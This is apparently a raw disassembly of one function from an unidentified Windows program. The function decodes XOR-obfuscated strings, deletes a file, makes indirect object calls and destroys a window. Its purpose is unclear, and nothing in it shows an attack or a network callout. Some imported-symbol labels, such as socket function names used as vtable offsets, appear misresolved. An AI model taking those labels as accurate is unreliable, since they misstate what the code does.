mov byte [rbp - 0x50], reloc.WLDAP32.dll_Ordinal_46
xor byte [rbp - 0x4f], 0x39
xor byte [rbp - 0x4e], 0x3a
xor byte [rbp - 0x4d], 0x3b
xor al, 0x3c
mov byte [rbp - 0x4c], al
movups xmm0, xmmword [0x140145f48]
movups xmmword [rbp + 0x1390], xmm0
movsd xmm0, qword [0x140145f58]
movsd qword [rbp + 0x13a0], xmm0
mov eax, dword [str.68_69_tV]
mov dword [rbp + 0x13a8], eax
movzx eax, word [0x140145f64]
mov word [rbp + 0x13ac], ax
movzx eax, byte [0x140145f66]
mov byte [rbp + 0x13ae], al
movsxd r10, dword [0x1401abcd0]
shl r10, 5
add r10, rcx
mov r8d, r13d
cmp r12d, 2
jl 0x1400ac749
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0x1394]
mov edx, dword [rbp + 0x17a0]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400ac640
cmp r8d, 0x1f
jge 0x1400ac790
movsxd rax, r8d
lea r9, [rbp + 0x1390]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1f
jl 0x1400ac760
mov r8, r10
lea rdx, [rbp + 0x1390]
lea rcx, [rbp + 0x15d0]
call fcn.1400b0f60
nop
lea rcx, [rbp - 0x50]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rcx + r8], 0
jne 0x1400ac7b2
lea rdx, [rbp - 0x50]
mov rcx, rax
call fcn.140046e30
mov rdx, rax
lea rcx, [rbp + 0x1988]
call fcn.1400aed30
nop
lea rcx, [rbp + 0x15d0]
call fcn.140046ba0
lea rcx, [rbp + 0x1988]
call fcn.140046b40
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov byte [rsp + 0x60], 0
lea rax, [rsp + 0x60]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400ac810
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x1988]
call fcn.1400af9b0
mov byte [rsp + 0x61], 0
lea rax, [rsp + 0x61]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400ac840
lea rdx, [rsp + 0x61]
lea rcx, [0x1401a77f8]
call fcn.1400af9b0
nop
lea rcx, [rbp + 0x1988]
call fcn.140046ba0
call fcn.14000cdc0
nop
lea rcx, [rbp + 0x1970]
call fcn.1400af900
movss xmm8, dword [0x140149304]
call fcn.140012400
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x1400ac89a
call fcn.14008d130
call fcn.14000c360
xorps xmm0, xmm0
movups xmmword [rbp + 0x1a00], xmm0
mov rcx, qword [0x1401a97f0]
mov rax, qword [rcx]
mov r10, qword [rax + 0x108]
xor r9d, r9d
lea r8, [0x1401aa8e0]
lea edx, [r9 + 1]
call r10
mov rcx, qword [0x1401a97f0]
mov rax, qword [rcx]
mov r9, qword [rax + 0x190]
lea r8, [rbp + 0x1a00]
mov rdx, qword [0x1401aa8e0]
call r9
mov rax, qword [0x1401a97b0]
mov rax, qword [rax + 0x4bc8]
mov rcx, qword [rax]
add rcx, 0x50
mov rax, r13
cmp byte [rcx], r13b
cmovne rax, rcx
mov rcx, rax
call fcn.140031e80
mov rcx, qword [0x1401a98d0]
mov rax, qword [rcx]
mov r9, qword [rax + 0x40]
xor r8d, r8d
xor edx, edx
call r9
cmp byte [0x1401ab1df], 0
jne 0x140096790
call fcn.1400330b0
call fcn.1400333b0
xor ecx, ecx
call fcn.140007be0
mov rcx, qword [0x1401aa8e0]
test rcx, rcx
je 0x1400ac965
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x1401aa8e0], r13
mov rcx, qword [0x1401a98d0]
test rcx, rcx
je 0x1400ac982
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x1401a98d0], r13
mov rcx, qword [0x1401a97f0]
test rcx, rcx
je 0x1400ac99f
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x1401a97f0], r13
mov rcx, qword [0x1401a98c8]
test rcx, rcx
je 0x1400ac9bc
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x1401a98c8], r13
mov rcx, qword [0x1401a9898]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [0x1401a9858]
mov rcx, qword [0x1401a9880]
call qword [sym.imp.USER32.dll_UnregisterClassA]
nop
mov rcx, qword [rbp + 0x1960]
xor rcx, qword [rbp + 0x1958]
mov rax, qword [rbp + 0x1968]
mov qword [rax], rcx
mov rcx, qword [rbp + 0x1a10]
xor rcx, rsp
call fcn.1401263f0
lea r11, [rsp + 0x1bc0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret